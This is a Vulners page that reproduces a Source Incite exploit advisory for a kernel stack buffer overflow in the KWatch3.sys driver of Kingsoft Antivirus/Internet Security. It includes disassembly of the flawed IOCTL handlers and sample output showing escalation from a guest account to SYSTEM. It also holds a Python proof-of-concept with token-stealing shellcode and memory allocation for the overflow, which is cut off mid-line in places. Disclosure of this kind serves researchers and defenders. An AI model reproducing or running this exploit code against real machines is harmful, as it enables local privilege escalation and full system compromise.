Lucene search
K

SRC-2017-0029 : Kingsoft Antivirus and Internet Security Kernel Stack Buffer Overflow Privilege Escalation Vulnerability

🗓️ 03 Oct 2017 00:00:00Reported by Steven Seeley of Source InciteType 
srcincite
 srcincite
🔗 srcincite.io👁 15 Views

Vulnerability in Kingsoft Internet Security allows privilege escalation via kernel stack buffer overflow

Code
"""
Kingsoft Antivirus/Internet Security 9+ Kernel Stack Buffer Overflow Privilege Escalation Vulnerability
Anti-Virus: http://www.kingsoft.co/downloads/kav/KAV100720_ENU_DOWN_331020_10.rar
Internet Security: http://www.kingsoft.co/downloads/kis/kis.rar

Summary:
========

This vulnerability allows local attackers to escalate privileges on vulnerable installations of Kingsoft Internet Security. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaws exists within the processing of IOCTL 0x80030004 or 0x80030008 by the KWatch3.sys (internet security) kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel stack buffer overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel.

Vulnerability Analysis:
=======================

I am only going to detail a single bug since both ioctl handlers are *almost* identical. Inside the KWatch3.sys driver, we can see the following handler code for the first ioctl code (0x80030004)

; jumptable 000117C1 case 0

.text:000117C8 loc_117C8:                                      ; CODE XREF: sub_11790+31
.text:000117C8                                                 
.text:000117C8                 push    ebx                     ; our input buffer size
.text:000117C9                 lea     ecx, [esp+58h+var_40]   ; this is a fixed size stack buffer of 0x40
.text:000117CD                 push    edi                     ; our input buffer
.text:000117CE                 push    ecx                     ; char *
.text:000117CF                 call    strncpy                 ; stack buffer overflow
.text:000117D4                 add     esp, 0Ch
.text:000117D7                 lea     edx, [esp+54h+var_40]
.text:000117DB                 push    edx                     ; char *
.text:000117DC                 mov     [esp+ebx+58h+var_40], 0
.text:000117E1                 call    sub_167B0
.text:000117E6                 pop     edi
.text:000117E7                 mov     esi, eax
.text:000117E9                 pop     esi
.text:000117EA                 pop     ebp
.text:000117EB                 pop     ebx
.text:000117EC                 add     esp, 44h
.text:000117EF                 retn    8

Additional bugs:
~~~~~~~~~~~~~~~~

Out-of-Bounds Read vulnerabilities exist in the following ioctls as well:

- 0x8003001c
- 0x80030020
- 0x80030024
- 0x80030028

There is more, but I gave up. This happens because there are several functions that contain code like this:

.text:000172A0 loc_172A0:                                   ; CODE XREF: sub_17280+29
.text:000172A0                 mov     cx, [eax]            ; @eax is our input buffer
.text:000172A3                 add     eax, 2
.text:000172A6                 test    cx, cx
.text:000172A9                 jnz     short loc_172A0      ; jump if there is no null word

So all we have to do is set our input buffer to contain no null word values. Note that these only trigger a bug check if special pool is enabled and dont look exploitable (no leaking in the output buffer)

Example:
========

c:\Users\Guest\Desktop>whoami
victim\guest

c:\Users\Guest\Desktop>poc.py

        --[ Kingsoft Internet Security Kernel Stack Overflow EoP Exploit ]
                       Steven Seeley (mr_me) of Source Incite

(+) enumerating kernel base address...
(+) found nt base at 0x8147e000
(+) allocating shellcode @ 0x24242424
(+) sending stack overflow...
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

c:\Users\Guest\Desktop>whoami
nt authority\system

c:\Users\Guest\Desktop>

References:
===========

- https://sizzop.github.io/2016/09/13/kernel-hacking-with-hevd-part-5.html
"""
import sys
from ctypes import *
from time import sleep
from ctypes.wintypes import *
import struct
import os
from random import choice

kernel32 = windll.kernel32
ntdll = windll.ntdll

MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
STATUS_SUCCESS = 0

def get_ioctl():
    return choice([0x80030004, 0x80030008])
    
def alloc_shellcode(base, input_size):
    """ 
    allocates some shellcode
    """
    print "(+) allocating shellcode @ 0x%x" % base
    baseadd = c_int(base)
    size    = c_int(input_size)

    # --[ setup]
    input  = struct.pack("|

    # win 10 rs2 x86 TOKEN_OFFSET = 0xfc
    # win 07 sp1 x86 TOKEN_OFFSET = 0xf8
    input += "\x8b\x90\xfc\x00\x00\x00"         # mov edx, [eax + TOKEN_OFFSET]
    input += "\x89\x91\xfc\x00\x00\x00"         # mov [ecx + TOKEN_OFFSET], edx

    # --[ recover]
    input += "\x61"                             # popad
    input += "\x83\xc4\x0c"                     # adjust the stack by 0xc
    input += "\x31\xc0"                         # return NTSTATUS = STATUS_SUCCESS
    input += "\xc3"                             # ret

    # filler
    input += "\x43" * (input_size-len(input))
    ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, 
                                              POINTER(c_int), c_int, c_int]
    dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, 
                                             byref(size), 
                                             MEM_RESERVE|MEM_COMMIT,
                                             PAGE_EXECUTE_READWRITE)
    if dwStatus != STATUS_SUCCESS:
        print "(-) Error while allocating memory: %s" % hex(dwStatus + 0xffffffff)
        return False
    written = c_ulong()
    write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written))
    if write == 0:
        print "(-) Error while writing our input buffer memory: %s" % write
        return False
    return True

def alloc(base, input_size, ip):
    baseadd   = c_int(base)
    size = c_int(input_size)
    input = "\x44" * 0x40                       # offset to ip

    # start rop chain
    input += struct.pack("

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation